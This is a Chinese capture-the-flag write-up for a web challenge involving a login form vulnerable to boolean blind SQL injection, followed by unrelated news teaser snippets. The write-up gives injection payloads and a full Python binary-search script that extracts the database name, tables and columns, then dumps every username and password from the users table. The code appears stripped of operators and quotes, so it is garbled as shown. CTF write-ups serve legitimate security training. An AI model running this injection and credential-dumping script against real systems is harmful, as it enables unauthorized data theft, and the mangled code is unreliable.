ctfshow——web WAF绕过 WAF绕过 wp进入页面一个登入框经过测试没有弱口令爆破抓包测试发现存在布尔盲注逻辑为真时逻辑为假时构造payloaduserNameadminpassWord1or(ascii(substr((select(database())),1,1))100)#脚本如下二分法#-*-coding:utf-8-*- import requests import time host http://e3599346-f189-47c3-9e85-1d7ff4fee612.challenge.ctf.show/login.php def getDatabase(): #获取数据库名 global host ans for i in range(1,1000): low 32 high 128 mid (lowhigh)//2 while low high: usernameadmin password1or(ascii(substr((select(database())),%d,1))%d)# % (i,mid) param {userName:username,passWord:password} res requests.post(host,dataparam) if admin in res.text: high mid else: low mid1 mid(lowhigh)//2 if mid 32 or mid 127: break ans chr(mid-1) print(database is - ans) def getTable(): #获取表名 global host ans for i in range(1,1000): low 32 high 128 mid (lowhigh)//2 while low high: username admin password 1or(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)database()),%d,1))%d)# % (i, mid) param {userName: username, passWord: password} res requests.post(host, dataparam) if admin in res.text: high mid else: low mid1 mid(lowhigh)//2 if mid 32 or mid 127: break ans chr(mid-1) print(table is - ans) def getColumn(): #获取列名 global host ans for i in range(1,1000): low 32 high 128 mid (lowhigh)//2 while low high: username admin password 1or(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)\users\),%d,1))%d)# % (i, mid) param {userName: username, passWord: password} res requests.post(host, dataparam) if admin in res.text: high mid else: low mid1 mid(lowhigh)//2 if mid 32 or mid 127: break ans chr(mid-1) print(column is - ans) def dumpTable():#脱裤 global host ans for i in range(1,10000): low 32 high 128 mid (lowhigh)//2 while low high: username admin password 1or(ascii(substr((select(group_concat(username,0x3a,password))from(users)),%d,1))%d)# % (i, mid) param {userName: username, passWord: password} res requests.post(host, dataparam) if admin in res.text: high mid else: low mid1 mid(lowhigh)//2 if mid 32 or mid 127: break ans chr(mid-1) print(dumpTable is - ans) dumpTable()运行结果flagCTF{bool_sql_injection_bypass_is_fun}

相关新闻

最新新闻

玻璃温室微气候调控:温度湿度CO₂气流四维协同规则

玻璃温室微气候调控:温度湿度CO₂气流四维协同规则

1. 什么是玻璃温室里的微气候规则?它到底管什么? “玻璃温室中的微气候规则”——这名字听起来像农业气象学的论文标题,但其实它是一套在真实生产场景里天天被种植户、园艺师、设施农业工程师反复调校、验证、推翻又重建的操作逻辑。它不是写…

2026/8/27 20:18:36
MISRA C:2012 详解 · 专栏05:高级主题(第 19~22 章)

MISRA C:2012 详解 · 专栏05:高级主题(第 19~22 章)

MISRA C:2012 详解 专栏05:高级主题(第 19~22 章) 覆盖第 19~22 章共 34 条规则:重叠存储、预处理指令、标准库、资源管理。 这是 MISRA 的收尾篇,也是最「接地气」的一篇——预处理宏的坑、标准库的雷、资源的债,都是真实项目里流过的血。 第 19 章 重叠存储(Overlap…

2026/8/27 20:18:36
主库——第1集:庆功宴惊魂

主库——第1集:庆功宴惊魂

一、让人扒层皮的红头文件 老牛第一次见到那张纸,是在去年初春的周一早上。 它躺在马总的办公桌上,A4大小,红头黑字,标题印着"关于推进核心系统自主可控改造的通知"。老牛当时正端着一杯奶茶,吸管咬得稀烂…

2026/8/27 20:18:36
基于SpringBoot的社区智慧养老服务管理系统(程序+文档+讲解)

基于SpringBoot的社区智慧养老服务管理系统(程序+文档+讲解)

温馨提示:本人主页置顶文章(点我)开头有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:本人主页置顶文章(点我)开头有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:本人主页置顶文章(点我)开头有 CSDN 平台…

2026/8/27 20:18:36
《生成式人工智能与机器学习导论 2025》第 3 讲 - 学习笔记1

《生成式人工智能与机器学习导论 2025》第 3 讲 - 学习笔记1

《生成式人工智能与机器学习导论 2025》第 3 讲-学习笔记 1. LLM生成文字的整体流程 大型语言模型(Large Language Model, LLM)生成文本时,并不是直接“理解问题并写答案”,而是通过多层神经网络逐步转换表示,最终预测…

2026/8/27 20:18:36
每日估算人机对战:用群体智慧检验大模型常识

每日估算人机对战:用群体智慧检验大模型常识

如果你最近一直在刷各种 AI 榜单,大概率会陷入一种矛盾感:一边是各家大模型在 MMLU、GPQA、AIME 等基准上疯狂刷新分数,一边是真正把这堆模型用到自己业务里时,总感觉差了点“常识感”。模型能写代码、能解数学题,但你…

2026/8/27 20:13:35